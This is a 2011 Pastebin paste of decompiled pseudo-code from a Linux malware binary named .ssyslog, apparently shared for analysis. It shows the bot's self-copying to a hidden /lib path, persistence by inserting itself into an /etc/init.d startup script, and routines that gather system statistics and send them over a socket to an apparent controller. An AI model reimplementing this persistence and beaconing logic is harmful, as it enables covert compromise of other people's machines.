Advertisement
CaffeineSecurity

.ssyslog - first section decompiled

Dec 30th, 2011
428
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 257.20 KB | None | 0 0
  1. L08048118()
  2. {
  3.     _unknown_ r1;
  4.     _unknown_ r6;
  5.     _unknown_ _t2;
  6.  
  7.     __esp = __esp - 4;
  8.     L1();
  9.     _pop(__ebx);
  10.     if( *((intOrPtr*)(_t2 + 679740 + -4)) != 0) {
  11.         0();
  12.     }
  13.     frame_dummy();
  14.     __do_global_ctors_aux();
  15.     _pop(__eax);
  16.     return;
  17. }
  18.  
  19. L08048124()
  20. {
  21.     _unknown_ _t2;
  22.  
  23.     _pop(__ebx);
  24.     if( *((intOrPtr*)(_t2 + 679740 + -4)) != 0) {
  25.         0();
  26.     }
  27.     frame_dummy();
  28.     __do_global_ctors_aux();
  29.     _pop(__eax);
  30.     _pop(__ebx);
  31.     __esp = __ebp;
  32.     _pop(__ebp);
  33.     return;
  34. }
  35.  
  36. __do_global_dtors_aux(_unknown_ r5)
  37. {// addr = 0x08048180
  38.     _unknown_ r1;
  39.     _unknown_ r6;
  40.     _unknown_ _t6;
  41.     _unknown_ _t7;
  42.     signed int _t11;
  43.  
  44.     __esi = __esi;
  45.     if(M080F0C20 != 0) {
  46.         return ;
  47.     }
  48.     __edx = dtor_idx.5253;
  49.     __ebx = (135192612 -  &M080EE01C >> 2) - 1;
  50.     if(__edx >= __ebx) {
  51. L4:
  52.         if(L080581B0 != 0) {
  53.             goto L5;
  54.         }
  55. L6:
  56.         M080F0C20 = 1;
  57.         return;
  58.     }
  59.     __esi = __esi;
  60.     while(1) {
  61.         _t11 = __edx + 1;
  62.         dtor_idx.5253 = _t11;
  63.          *((intOrPtr*)(_t11 * 4 +  &M080EE01C))();
  64.         __edx = dtor_idx.5253;
  65.         if(__edx >= __ebx) {
  66.             break;
  67.         } else {
  68.             continue;
  69.         }
  70.     }
  71.     goto L4;
  72. L5:
  73.     L080581B0(__edi, __esi,  &M080E2954);
  74.     goto L6;
  75. }
  76.  
  77. frame_dummy()
  78. {// addr = 0x080481F0
  79.     _unknown_ _v12;
  80.     _unknown_ _v16;
  81.     _unknown_ _v20;
  82.     intOrPtr* r6;
  83.     _unknown_ _t6;
  84.     _unknown_ _t7;
  85.  
  86.     __ebp = __esp;
  87.     __esp = __esp - 24;
  88.     L1();
  89.     _pop(__edx);
  90.     _t7 = _t6 + 679520;
  91.     if(L08056750 != 0) {
  92.         L08056750( &M080E2954,  &object.5273, 0, _t7);
  93.     }
  94.     _t5 = M080EE028;
  95.     if(M080EE028 != 0) {
  96.         _t5 = 0;
  97.         if(_t5 != 0) {
  98.              *__esp =  &M080EE028;
  99.              *_t5();
  100.         }
  101.     }
  102.     __esp = __ebp;
  103.     return;
  104.     goto L7;
  105. L7:
  106. }
  107.  
  108. L08048200(_unknown_ r0, intOrPtr* r7, _unknown_ _a8, _unknown_ _a12, _unknown_ _a16)
  109. {
  110.     _unknown_ _t6;
  111.     _unknown_ _t7;
  112.  
  113.     __esp = __esp;
  114.     _pop(__edx);
  115.     _t7 = _t6 + 679520;
  116.     if(__eax != 0) {
  117.         L08056750( &M080E2954,  &object.5273, 0, _t7);
  118.     }
  119.     _t5 = M080EE028;
  120.     if(M080EE028 != 0) {
  121.         _t5 = 0;
  122.         if(_t5 != 0) {
  123.              *__esp =  &M080EE028;
  124.              *_t5();
  125.         }
  126.     }
  127.     __esp = __ebp;
  128.     _pop(__ebp);
  129.     return;
  130.     goto L6;
  131. L6:
  132. }
  133.  
  134. init_globel()
  135. {// addr = 0x08048248
  136.     _unknown_ _v20;
  137.     _unknown_ _v24;
  138.     _unknown_ r6;
  139.     _unknown_ _t5;
  140.     _unknown_ _t6;
  141.  
  142.     send_thread_num = 0;
  143.     IsAttack = 0;
  144.     mem_total = 0;
  145.     mem_free = 0;
  146.     nType = 0;
  147.     L0806F850(__ebx, __edi, __esi, 135223744, 0, 128);
  148.     L0806F9E0(__edi, __esi, 135223744, "/tmp/orbit-gdm11", 17);
  149.     return;
  150. }
  151.  
  152. sig_term(int signo)
  153. {// addr = 0x080482BA
  154.     _unknown_ r6;
  155.  
  156.     if(signo != 15) {
  157.         return ;
  158.     }
  159.      *__esp = 0;
  160.     L0805E0C0();
  161.     return;
  162. }
  163.  
  164. int daemon_init()
  165. {// addr = 0x080482D4
  166.     pid_t pid;
  167.     intOrPtr _v8;
  168.     intOrPtr _v24;
  169.     _unknown_ r6;
  170.     intOrPtr _t8;
  171.  
  172.     _t8 = L08053170(__eax, __edi, __esi);
  173.     _v8 = _t8;
  174.     if(_v8 >= 0) {
  175.         if(_v8 != 0) {
  176.             goto L3;
  177.         }
  178. L4:
  179.         _v24 = 0;
  180.         return _v24;
  181.     }
  182.     _v24 = -1;
  183.     return _v24;
  184. L3:
  185.      *__esp = 0;
  186.     L0805E0C0();
  187.     goto L4;
  188. }
  189.  
  190. copy_myself(const char* name)
  191. {// addr = 0x0804830F
  192.     char[59] want_to_put_name;
  193.     char[1023] command;
  194.     int exsit_flag;
  195.     intOrPtr _v8;
  196.     char _v68;
  197.     char _v1092;
  198.     char* _v1104;
  199.     _unknown_ _v1108;
  200.     intOrPtr _v1112;
  201.     _unknown_ r6;
  202.     _unknown_ _t31;
  203.     _unknown_ _t33;
  204.     _unknown_ _t35;
  205.     char* _t36;
  206.     _unknown_ _t42;
  207.     _unknown_ _t44;
  208.     _unknown_ _t48;
  209.  
  210.     L0806F850(__ebx, __edi, __esi,  &_v68, 0, 60);
  211.     L0806F9E0(__edi, __esi,  &_v68, "/lib/.ssyslog", 14);
  212.     L0806F850(__ebx, __edi, __esi,  &_v1092, 0, 1024);
  213.     _v1112 = 0;
  214.     _t36 =  &_v68;
  215.      *__esp = _t36;
  216.     L08071490(__ebx, __esp);
  217.     _v8 = _t36;
  218.     if(_v8 >= 0) {
  219.         return ;
  220.     }
  221.     L08071740(__ebx, __esp,  &_v68);
  222.     _v1104 =  &_v68;
  223.     L0805FF50( &_v1092, "cp -rf %s %s>/dev/null", name);
  224.      *__esp =  ?_? ( &_v1092);
  225.     L08052CC0( &_v1092, __ebx, __edi, __esi);
  226.     L0806F850(__ebx, __edi, __esi,  &_v1092, 0, 1024);
  227.     L0805FF50( &_v1092, "chmod 755 %s",  &_v68);
  228.      *__esp =  ?_? ( &_v1092);
  229.     L08052CC0( &_v1092, __ebx, __edi, __esi);
  230.     return;
  231. }
  232.  
  233. update_program_pid()
  234. {// addr = 0x08048414
  235.     int shmid;
  236.     int now_pid;
  237.     program_type* program_info;
  238.     intOrPtr* _v8;
  239.     intOrPtr _v12;
  240.     intOrPtr _v16;
  241.     _unknown_ _v36;
  242.     _unknown_ _v40;
  243.     _unknown_ r6;
  244.     intOrPtr _t11;
  245.     intOrPtr _t12;
  246.     intOrPtr* _t14;
  247.  
  248.     _t11 = __eax;
  249.     L080707F0();
  250.     _v12 = _t11;
  251.     _t12 = L08073710(__ebx, __edi, __esi, 3234, 4, 896);
  252.     _v16 = _t12;
  253.     _t14 = L080736A0(__ebx, __edi, __esi, _v16, 0, 0);
  254.     _v8 = _t14;
  255.     L08061340(__ebx, __edi, __esi, "i will update the pid");
  256.      *_v8 = _v12;
  257.     return;
  258. }
  259.  
  260. decide_pid()
  261. {// addr = 0x08048475
  262.     int shmid;
  263.     unsigned int now_pid;
  264.     program_type* program_info;
  265.     intOrPtr* _v8;
  266.     intOrPtr _v12;
  267.     intOrPtr _v16;
  268.     _unknown_ _v36;
  269.     _unknown_ _v40;
  270.     _unknown_ r6;
  271.     intOrPtr _t11;
  272.     intOrPtr _t12;
  273.     intOrPtr* _t14;
  274.  
  275.     L080707F0();
  276.     _v12 = _t11;
  277.     _t12 = L08073710(__ebx, __edi, __esi, 3234, 4, 896);
  278.     _v16 = _t12;
  279.     _t14 = L080736A0(__ebx, __edi, __esi, _v16, 0, 0);
  280.     _v8 = _t14;
  281.     if( *_v8 == _v12) {
  282.         return ;
  283.     }
  284.     L08061340(__ebx, __edi, __esi, "i will quit");
  285.      *__esp = 1;
  286.     L0805E0C0();
  287.     return;
  288. }
  289.  
  290. autostart(const char* inser_to_file)
  291. {// addr = 0x080484E4
  292.     FILE* in;
  293.     FILE* tmp_fp;
  294.     char[1023] readline;
  295.     char[1023] command;
  296.     char[1023] tmp_file;
  297.     char[1023] file_way;
  298.     char[1023] file_insert;
  299.     int tmp;
  300.     int flag;
  301.     char[5] insert_str1;
  302.     char[255] insert_str2;
  303.     char[1023] temp_str;
  304.     intOrPtr _v8;
  305.     char _v12;
  306.     char _v16;
  307.     char* _v20;
  308.     char _v1044;
  309.     char _v2068;
  310.     char _v3092;
  311.     char _v4116;
  312.     char _v5140;
  313.     short _v5142;
  314.     char _v5146;
  315.     char _v5402;
  316.     char _v6426;
  317.     char* _v6448;
  318.     intOrPtr _v6452;
  319.     const char* _v6456;
  320.     _unknown_ r6;
  321.     _unknown_ _t121;
  322.     _unknown_ _t123;
  323.     _unknown_ _t125;
  324.     _unknown_ _t127;
  325.     _unknown_ _t129;
  326.     _unknown_ _t132;
  327.     _unknown_ _t135;
  328.     _unknown_ _t137;
  329.     _unknown_ _t141;
  330.     _unknown_ _t144;
  331.     char* _t145;
  332.     char* _t147;
  333.     _unknown_ _t149;
  334.     _unknown_ _t153;
  335.     _unknown_ _t155;
  336.     _unknown_ _t158;
  337.     _unknown_ _t162;
  338.     _unknown_ _t166;
  339.     _unknown_ _t169;
  340.     _unknown_ _t171;
  341.     char* _t174;
  342.     _unknown_ _t179;
  343.     _unknown_ _t184;
  344.     _unknown_ _t186;
  345.     _unknown_ _t190;
  346.  
  347.     _v20 = 0;
  348.     _v16 = 0;
  349.     _v8 = 2;
  350.     _v12 = 0;
  351.     L0806F850(__ebx, __edi, __esi,  &_v5140, 0, 1024);
  352.     L0806F850(__ebx, __edi, __esi,  &_v3092, 0, 1024);
  353.     L0806F850(__ebx, __edi, __esi,  &_v4116, 0, 1024);
  354.     L0806F9E0(__edi, __esi,  &_v3092, "/tmp/.sendmail", 15);
  355.     L0806F9E0(__edi, __esi,  &_v4116, "/etc/init.d/", 13);
  356.     L0806E520( &_v5140,  &_v4116);
  357.     _v6456 = inser_to_file;
  358.      *__esp =  &_v5140;
  359.     L0806E1B0(__esp);
  360.     L0806F850(__ebx, __edi, __esi,  &_v2068, 0, 1024);
  361.     L0805FF50( &_v2068, "cd %s",  &_v4116);
  362.      *__esp =  ?_? ( &_v2068);
  363.     L08052CC0( &_v2068, __ebx, __edi, __esi);
  364.      *__esp =  &_v3092;
  365.     L08071740(__ebx, __esp);
  366.     L0806F850(__ebx, __edi, __esi,  &_v1044, 0, 1024);
  367.     _v12 = 0;
  368.     _v6456 = "r";
  369.     _t145 =  &_v5140;
  370.      *__esp = _t145;
  371.     L08060B50();
  372.     _v20 = _t145;
  373.     if(_v20 == 0) {
  374.         return ;
  375.     }
  376.     _v6456 = "wb+";
  377.     _t145 =  &_v3092;
  378.      *__esp = _t145;
  379.     L08060B50();
  380.     _v16 = _t145;
  381.     if(_v16 == 0) {
  382.         return ;
  383.     }
  384.     while(1) {
  385.         _v6452 = _v20;
  386.         _v6456 = 1024;
  387.         _t147 =  &_v1044;
  388.          *__esp = _t147;
  389.         L08060880(__ebx, __edi, __esi);
  390.         __eflags = _t147;
  391.         if(_t147 == 0) {
  392.             break;
  393.         }
  394.         _v12 = _v12 + 1;
  395.         __eflags = _v12 - 2;
  396.         if(_v12 != 2) {
  397. L7:
  398.             __eflags = _v8 - 1;
  399.             if(__eflags != 0) {
  400.                 _t149 = L0806E770(__esp, __eflags,  &_v1044);
  401.                 L08060D80(__ebx, __edi, __esi,  &_v1044, _t149, 1, _v16);
  402.                 L0806F850(__ebx, __edi, __esi,  &_v1044, 0, 1024);
  403.                 continue;
  404.             } else {
  405.                 goto L8;
  406.             }
  407.             continue;
  408.         }
  409.         _v5146 = 1869903201;
  410.         _v5142 = 10;
  411.         L0806F850(__ebx, __edi, __esi,  &_v5402, 0, 256);
  412.         L0805FF50( &_v5402, "%s\n", "/lib/.ssyslog");
  413.          *__esp =  &_v5146;
  414.         _t158 = L0806E770(__esp, __eflags);
  415.         L08060D80(__ebx, __edi, __esi,  &_v5146, _t158, 1, _v16);
  416.          *__esp =  &_v5402;
  417.         _t162 = L0806E770(__esp, __eflags);
  418.         L08060D80(__ebx, __edi, __esi,  &_v5402, _t162, 1, _v16);
  419.         L0806F850(__ebx, __edi, __esi,  &_v6426, 0, 1024);
  420.         L0806E520( &_v6426,  &_v5146);
  421.          *__esp =  &_v6426;
  422.         _t171 = L0806E770(__esp, __eflags);
  423.          *((char*)(__ebp + _t171 - 1 + -6422)) = 0;
  424.         _t174 = L0806E4D0("auto",  &_v6426);
  425.         __eflags = _t174;
  426.         if(_t174 != 0) {
  427.             goto L7;
  428.         }
  429.         _v8 = _v8 - 1;
  430.         continue;
  431. L8:
  432.         _v8 = _v8 - 1;
  433.     }
  434.     L08060220(_v20);
  435.     L08060220(_v16);
  436.      *__esp =  &_v5140;
  437.     L08071740(__ebx, __esp);
  438.     L0806F850(__ebx, __edi, __esi,  &_v2068, 0, 1024);
  439.     _v6448 =  &_v5140;
  440.     L0805FF50( &_v2068, "mv %s %s",  &_v3092);
  441.      *__esp =  ?_? ( &_v2068);
  442.     L08052CC0( &_v2068, __ebx, __edi, __esi);
  443.     L0806F850(__ebx, __edi, __esi,  &_v2068, 0, 1024);
  444.     L0805FF50( &_v2068, "chmod 755 %s",  &_v5140);
  445.      *__esp =  ?_? ( &_v2068);
  446.     L08052CC0( &_v2068, __ebx, __edi, __esi);
  447.     return;
  448. }
  449.  
  450. int Get_OsVerInfo(char* szOsVerInfo)
  451. {// addr = 0x08048909
  452.     FILE* fp;
  453.     char[255] szFileBuff;
  454.     size_t bytes_read;
  455.     char* p;
  456.     intOrPtr _v8;
  457.     intOrPtr _v12;
  458.     intOrPtr _v16;
  459.     char _v272;
  460.     intOrPtr _v280;
  461.     intOrPtr _v284;
  462.     intOrPtr _v288;
  463.     intOrPtr _v292;
  464.     intOrPtr _v296;
  465.     _unknown_ r6;
  466.     intOrPtr _t33;
  467.     char* _t35;
  468.     intOrPtr _t39;
  469.     _unknown_ _t41;
  470.     _unknown_ _t45;
  471.     intOrPtr _t47;
  472.     _unknown_ _t49;
  473.  
  474.     _v16 = 0;
  475.     L08060B50("/etc/issue", "r");
  476.     _v16 = _t33;
  477.     __eflags = _v16;
  478.     if(_v16 != 0) {
  479.         _v288 = _v16;
  480.         _v292 = 256;
  481.         _v296 = 1;
  482.         _t35 =  &_v272;
  483.          *__esp = _t35;
  484.         L08060C40(__ebx, __edi, __esi);
  485.         _v12 = _t35;
  486.         L08060220(_v16);
  487.         __eflags = _v12;
  488.         if(_v12 == 0) {
  489. L4:
  490.             _v284 = 1;
  491.             return _v284;
  492.         } else {
  493.             goto L3;
  494.         }
  495.         goto L3;
  496.     }
  497.     L0806F9E0(__edi, __esi, szOsVerInfo, "null", 5);
  498.     _v284 = 1;
  499.     return _v284;
  500. L3:
  501.     __eflags = _v12 - 256;
  502.     if(_v12 != 256) {
  503.         _t39 = L0806F4F0(__esp,  &_v272, "\n");
  504.         _v8 = _t39;
  505.          *__esp = _v8;
  506.         _t41 = L0806E770(__esp, __eflags);
  507.         __eflags = _t41 - 30;
  508.         if(__eflags > 0) {
  509.             _v280 = 30;
  510.         }
  511. L8:
  512.         L0806E8E0(szOsVerInfo, _v8, _v280);
  513.         _v284 = 1;
  514.         return _v284;
  515.     } else {
  516.         goto L4;
  517.     }
  518.     goto L4;
  519. L6:
  520.     _t47 = L0806E770(__esp, __eflags, _v8);
  521.     _v280 = _t47;
  522.     goto L8;
  523. }
  524.  
  525. double Get_CPU_Clock_Speed()
  526. {// addr = 0x08048A22
  527.     FILE* fp;
  528.     char* match;
  529.     char[10239] buffer;
  530.     size_t bytes_read;
  531.     float clock_speed;
  532.     double _v8;
  533.     double _v12;
  534.     signed int _v16;
  535.     char _v10256;
  536.     char _v10260;
  537.     signed int _v10272;
  538.     char* _v10276;
  539.     char* _v10280;
  540.     _unknown_ r6;
  541.     _unknown_ _t29;
  542.     double _t31;
  543.     _unknown_ _t36;
  544.     double _t38;
  545.  
  546.     _v16 = 0;
  547.     L08060B50("/proc/cpuinfo", "r");
  548.     _v16 = __eax;
  549.     __eflags = _v16;
  550.     if(_v16 != 0) {
  551.         L0806F850(__ebx, __edi, __esi,  &_v10256, 0, 10240);
  552.         _v10272 = _v16;
  553.         _v10276 = 1;
  554.         _v10280 = 10240;
  555.         _t31 =  &_v10256;
  556.          *__esp = _t31;
  557.         L08060C40(__ebx, __edi, __esi);
  558.         _v8 = _t31;
  559.         L08060220(_v16);
  560.         __eflags = _v10256 & 255;
  561.         if(__eflags != 0) {
  562.             _t36 = L0806E770(__esp, __eflags,  &_v10256);
  563.              *(__ebp + _t36 + -10252) = 0;
  564.             _t38 = L0806F010( &_v10256,  &_v10256, "cpu MHz");
  565.             _v12 = _t38;
  566.             __eflags = _v12;
  567.             if(_v12 != 0) {
  568.                 _v10276 =  &_v10260;
  569.                 _v10280 = "cpu MHz : %f";
  570.                 _t38 = _v12;
  571.                  *__esp = _t38;
  572.                 L0805FFB0();
  573.                 asm("fld dword [ebp+0xffffd7f0]");
  574.                 asm("fstp qword [ebp+0xffffd7e8]");
  575.             } else {
  576.                 asm("fldz ");
  577.                 asm("fstp qword [ebp+0xffffd7e8]");
  578.             }
  579.         } else {
  580.             asm("fldz ");
  581.             asm("fstp qword [ebp+0xffffd7e8]");
  582.         }
  583.     } else {
  584.         asm("fldz ");
  585.         asm("fstp qword [ebp+0xffffd7e8]");
  586.     }
  587.     asm("fld qword [ebp+0xffffd7e8]");
  588.     return _t38;
  589. }
  590.  
  591. Get_CpuUsage()
  592. {// addr = 0x08048B34
  593.     size_t len;
  594.     FILE* fp;
  595.     char* szLine;
  596.     long long unsigned int irq;
  597.     long long unsigned int idle;
  598.     long long unsigned int system;
  599.     long long unsigned int iowait;
  600.     long long unsigned int softirq;
  601.     long long unsigned int nice_user;
  602.     long long unsigned int normal_user;
  603.     intOrPtr _v32;
  604.     char _v36;
  605.     char _v40;
  606.     intOrPtr _v48;
  607.     char _v52;
  608.     intOrPtr _v56;
  609.     char _v60;
  610.     intOrPtr _v64;
  611.     char _v68;
  612.     intOrPtr _v72;
  613.     char _v76;
  614.     intOrPtr _v80;
  615.     char _v84;
  616.     intOrPtr _v88;
  617.     char _v92;
  618.     intOrPtr _v96;
  619.     char _v100;
  620.     _unknown_ _v114;
  621.     short _v116;
  622.     int _v120;
  623.     char* _v172;
  624.     char* _v176;
  625.     char* _v180;
  626.     char* _v184;
  627.     char* _v188;
  628.     char* _v192;
  629.     intOrPtr _v196;
  630.     char* _v200;
  631.     char _v204;
  632.     _unknown_ r4;
  633.     _unknown_ r6;
  634.     intOrPtr _t66;
  635.     char _t69;
  636.     _unknown_ _t91;
  637.     _unknown_ _t92;
  638.     _unknown_ _t97;
  639.     _unknown_ _t98;
  640.     _unknown_ _t112;
  641.     _unknown_ _t113;
  642.     _unknown_ _t114;
  643.     _unknown_ _t115;
  644.     _unknown_ _t118;
  645.     intOrPtr _t119;
  646.     _unknown_ _t120;
  647.     intOrPtr _t121;
  648.  
  649.     _v36 = 0;
  650.     _v32 = 0;
  651.     _v40 = 0;
  652.     _v52 = 0;
  653.     _v48 = 0;
  654.     _v60 = 0;
  655.     _v56 = 0;
  656.     _v68 = 0;
  657.     _v64 = 0;
  658.     _v76 = 0;
  659.     _v72 = 0;
  660.     _v84 = 0;
  661.     _v80 = 0;
  662.     _v92 = 0;
  663.     _v88 = 0;
  664.     _v100 = 0;
  665.     _v96 = 0;
  666.     L08060B50("/proc/stat", "r");
  667.     _v32 = _t66;
  668.     if(_v32 == 0) {
  669.         return ;
  670.     }
  671.     _v196 = _v32;
  672.     _v200 =  &_v36;
  673.     _t69 =  &_v40;
  674.      *__esp = _t69;
  675.     L08060110();
  676.     if(_t69 != 0) {
  677.         _v172 =  &_v84;
  678.         _v176 =  &_v52;
  679.         _v180 =  &_v76;
  680.         _v184 =  &_v60;
  681.         _v188 =  &_v68;
  682.         _v192 =  &_v92;
  683.         L0805FFB0(_v40, "cpu %Lu %Lu %Lu %Lu %Lu %Lu %Lu",  &_v100);
  684.         pre_cpu_total = cpu_total;
  685.          *135203924 =  *135203916;
  686.         pre_cpu_total_used = cpu_total_used;
  687.          *135203940 =  *135203932;
  688.         asm("adc ebx, edx");
  689.         asm("adc ebx, edx");
  690.         asm("adc ebx, edx");
  691.         asm("adc ebx, edx");
  692.         asm("adc edx, ebx");
  693.         cpu_total_used = _v84 + _v100 + _v92 + _v68 + _v76 + _v52;
  694.          *135203932 = _v80;
  695.         asm("adc edx, ebx");
  696.         cpu_total = cpu_total_used + _v60;
  697.          *135203916 =  *135203932;
  698.         asm("sbb edi, edx");
  699.         _t119 =  *135203932;
  700.         _push(_t119);
  701.         _push(cpu_total_used - pre_cpu_total_used);
  702.         asm("fild qword [esp]");
  703.         __esp =  &_v204;
  704.         asm("fstp tword [ebp+0xffffff78]");
  705.         if(_t119 < 0) {
  706.             goto L4;
  707.         }
  708. L5:
  709.         asm("fld tword [ebp+0xffffff78]");
  710.         asm("fstp dword [ebp-0x6c]");
  711.         asm("fld dword [ebp-0x6c]");
  712.         asm("fld dword [0x80c9ccc]");
  713.         asm("fmulp st1, st0");
  714.         asm("fstp dword [ebp-0x78]");
  715.         _t108 = cpu_total;
  716.         _t100 =  *135203916;
  717.         _t127 = cpu_total - pre_cpu_total;
  718.         asm("sbb edi, edx");
  719.         _t121 =  *135203916;
  720.         _push(_t121);
  721.         _push(cpu_total - pre_cpu_total);
  722.         asm("fild qword [esp]");
  723.         __esp =  &_v204;
  724.         asm("fstp tword [ebp+0xffffff68]");
  725.         if(_t121 < 0) {
  726.             asm("fld tword [0x80c9cc0]");
  727.             asm("fld tword [ebp+0xffffff68]");
  728.             asm("faddp st1, st0");
  729.             asm("fstp tword [ebp+0xffffff68]");
  730.         }
  731.         asm("fld tword [ebp+0xffffff68]");
  732.         asm("fstp dword [ebp-0x6c]");
  733.         asm("fld dword [ebp-0x6c]");
  734.         asm("fdivr dword [ebp-0x78]");
  735.         asm("fstp qword [esp]");
  736.         L0804F200(__esp);
  737.         asm("fnstcw word [ebp-0x6e]");
  738.         _v116 = 12;
  739.         asm("fldcw word [ebp-0x70]");
  740.         asm("fistp dword [ebp-0x74]");
  741.         asm("fldcw word [ebp-0x6e]");
  742.         cpu_percent_used = _v120;
  743.         if(_v40 != 0) {
  744.             L0806A7B0(_v40, _t100, _t108, _t127, _v40);
  745.         }
  746.         if(_v32 == 0) {
  747.             return ;
  748.         }
  749.         L08060220(_v32);
  750.         return;
  751.     }
  752.     L08060220(_v32);
  753.     return;
  754. L4:
  755.     asm("fld tword [0x80c9cc0]");
  756.     asm("fld tword [ebp+0xffffff78]");
  757.     asm("faddp st1, st0");
  758.     asm("fstp tword [ebp+0xffffff78]");
  759.     goto L5;
  760. }
  761.  
  762. int SendSevMonitor()
  763. {// addr = 0x08048DE9
  764.     USESTATEPACK lpPacket;
  765.     long long unsigned int bNetOut;
  766.     long long unsigned int bPacketOut;
  767.     long long unsigned int eNetOut;
  768.     long long unsigned int ePacketOut;
  769.     int nRet;
  770.     int _v24;
  771.     intOrPtr _v28;
  772.     intOrPtr _v32;
  773.     intOrPtr _v36;
  774.     int _v40;
  775.     char _v44;
  776.     long long unsigned int _v48;
  777.     long long unsigned int _v52;
  778.     long long unsigned int _v56;
  779.     long long unsigned int _v60;
  780.     long long unsigned int _v64;
  781.     long long unsigned int _v68;
  782.     long long unsigned int _v72;
  783.     long long unsigned int _v76;
  784.     _unknown_ _v86;
  785.     short _v88;
  786.     intOrPtr _v92;
  787.     intOrPtr _v96;
  788.     intOrPtr _v100;
  789.     _unknown_ _v104;
  790.     char _v108;
  791.     long long unsigned int r1;
  792.     _unknown_ r4;
  793.     _unknown_ r5;
  794.     _unknown_ r6;
  795.     _unknown_ _t46;
  796.     _unknown_ _t47;
  797.     _unknown_ _t48;
  798.     _unknown_ _t59;
  799.     _unknown_ _t61;
  800.     int _t64;
  801.     _unknown_ _t68;
  802.     _unknown_ _t70;
  803.     _unknown_ _t71;
  804.  
  805.     L0806F910( &_v44, 20);
  806.     _v44 = 226;
  807.     Get_CpuUsage();
  808.     _v40 = cpu_percent_used;
  809.     Get_MemoryUsage();
  810.     _push(mem_free);
  811.     asm("fild dword [esp]");
  812.     __esp =  ?_? ( &_v108);
  813.     asm("fld dword [0x80c9ccc]");
  814.     asm("fmulp st1, st0");
  815.     _push(mem_total);
  816.     asm("fild dword [esp]");
  817.     __esp =  &_v108 + 4;
  818.     asm("fdivp st1, st0");
  819.     asm("fstp qword [esp]");
  820.     L0804F200(__esp);
  821.     asm("fnstcw word [ebp-0x52]");
  822.     _v88 = 12;
  823.     asm("fldcw word [ebp-0x54]");
  824.     asm("fistp dword [ebp-0x58]");
  825.     asm("fldcw word [ebp-0x52]");
  826.     _v36 = 100 - _v92;
  827.     _v52 = 0;
  828.     _v48 = 0;
  829.     _v60 = 0;
  830.     _v56 = 0;
  831.     _v68 = 0;
  832.     _v64 = 0;
  833.     _v76 = 0;
  834.     _v72 = 0;
  835.     GetNetPackets( &_v52,  &_v60);
  836.     L08070250(1);
  837.     GetNetPackets( &_v68,  &_v76);
  838.     __ebx = _v64;
  839.     _t78 = _v68 - _v52;
  840.     asm("sbb edi, edx");
  841.     asm("shrd eax, edx, 0xa");
  842.     _v32 = _v68 - _v52;
  843.     _t76 = _v76 - _v60;
  844.     _v28 = _v76 - _v60;
  845.     L08051060(_v76 - _v60, __ebx, _v56,  &SocketMutex);
  846.     if(hCSockft <= 0) {
  847.         _v24 = -1;
  848.     } else {
  849.         _v96 = 16384;
  850.         _v100 = 20;
  851.         _t64 = L08052BC0(_t78, hCSockft,  &_v44);
  852.         _v24 = _t64;
  853.     }
  854.      *__esp =  &SocketMutex;
  855.     L08052080(__ebx, _t76, _t78);
  856.     return _v24;
  857. }
  858.  
  859. int SendServerPack()
  860. {// addr = 0x08048F6A
  861.     int ret;
  862.     int _v8;
  863.     int _t3;
  864.     _unknown_ _t5;
  865.     _unknown_ _t6;
  866.     _unknown_ _t7;
  867.     _unknown_ _t8;
  868.  
  869.     while(1) {
  870.         _t3 = SendSevMonitor();
  871.         _v8 = _t3;
  872.         if(_v8 != 255) {
  873.             goto L3;
  874.         } else {
  875.             goto L2;
  876.         }
  877.     }
  878. }
  879.  
  880. Get_MemoryUsage()
  881. {// addr = 0x08048FC6
  882.     FILE* fp;
  883.     char* szLine;
  884.     int nFree;
  885.     size_t len;
  886.     int nTotal;
  887.     int nCached;
  888.     int nBuffers;
  889.     int nSwapCached;
  890.     int _v8;
  891.     int _v12;
  892.     int _v16;
  893.     char _v20;
  894.     int _v24;
  895.     int _v28;
  896.     int _v32;
  897.     int _v36;
  898.     int _v52;
  899.     char* _v56;
  900.     _unknown_ r6;
  901.     _unknown_ _t70;
  902.     char* _t74;
  903.     _unknown_ _t76;
  904.     _unknown_ _t78;
  905.     _unknown_ _t80;
  906.     _unknown_ _t82;
  907.     _unknown_ _t84;
  908.     _unknown_ _t98;
  909.  
  910.     _v8 = 0;
  911.     _v12 = 0;
  912.     _v16 = 0;
  913.     _v20 = 0;
  914.     _v24 = 0;
  915.     _v28 = 0;
  916.     _v32 = 0;
  917.     _v36 = 0;
  918.     L08060B50("/proc/meminfo", "r");
  919.     _v8 = __eax;
  920.     if(_v8 == 0) {
  921.         return ;
  922.     }
  923.     while(1) {
  924.         _t70 = L08062AE0(_v8, __ebx, __esi, _v8);
  925.         if(_t70 != 0) {
  926.             break;
  927.         }
  928.         if(_v12 != 0) {
  929.             L0806A7B0(_v12, __ebx, __ecx, __esi, _v12);
  930.             _v12 = 0;
  931.         }
  932.         _v52 = _v8;
  933.         _v56 =  &_v20;
  934.         _t74 =  &_v12;
  935.          *__esp = _t74;
  936.         L08060110();
  937.         if(_t74 != 0) {
  938.             _t76 = L0806E820(_v12, "MemTotal", 8);
  939.             if(_t76 != 0) {
  940.                 _t78 = L0806E820(_v12, "MemFree", 7);
  941.                 if(_t78 != 0) {
  942.                     _t80 = L0806E820(_v12, "Buffers", 7);
  943.                     if(_t80 != 0) {
  944.                         _t82 = L0806E820(_v12, "Cached", 6);
  945.                         if(_t82 != 0) {
  946.                             _t84 = L0806E820(_v12, "SwapCached", 10);
  947.                             if(_t84 != 0) {
  948.                                 goto L18;
  949.                             } else {
  950.                                 goto L16;
  951.                             }
  952.                             goto L16;
  953.                         } else {
  954.                             goto L14;
  955.                         }
  956.                         goto L14;
  957. L16:
  958.                         L0805FFB0(_v12, "SwapCached: %d",  &_v36);
  959.                         break;
  960.                     } else {
  961.                         goto L12;
  962.                     }
  963.                     goto L12;
  964. L14:
  965.                     L0805FFB0(_v12, "Cached: %d",  &_v28);
  966.                     continue;
  967.                 } else {
  968.                     goto L10;
  969.                 }
  970.                 goto L10;
  971. L12:
  972.                 L0805FFB0(_v12, "Buffers: %d",  &_v32);
  973.                 continue;
  974.             } else {
  975.                 goto L8;
  976.             }
  977.             goto L8;
  978. L10:
  979.             L0805FFB0(_v12, "MemFree: %d",  &_v16);
  980.             continue;
  981.         }
  982.         _t98 = L08062AE0(_v8, __ebx, __esi, _v8);
  983.         if(_t98 != 0) {
  984.             continue;
  985.         }
  986.         L08060220(_v8);
  987.         return;
  988. L18:
  989.         continue;
  990. L8:
  991.         L0805FFB0(_v12, "MemTotal: %d",  &_v24);
  992.     }
  993.     mem_total = _v24;
  994.     mem_free = _v16 + _v32 + _v28 + _v36;
  995.     if(_v12 != 0) {
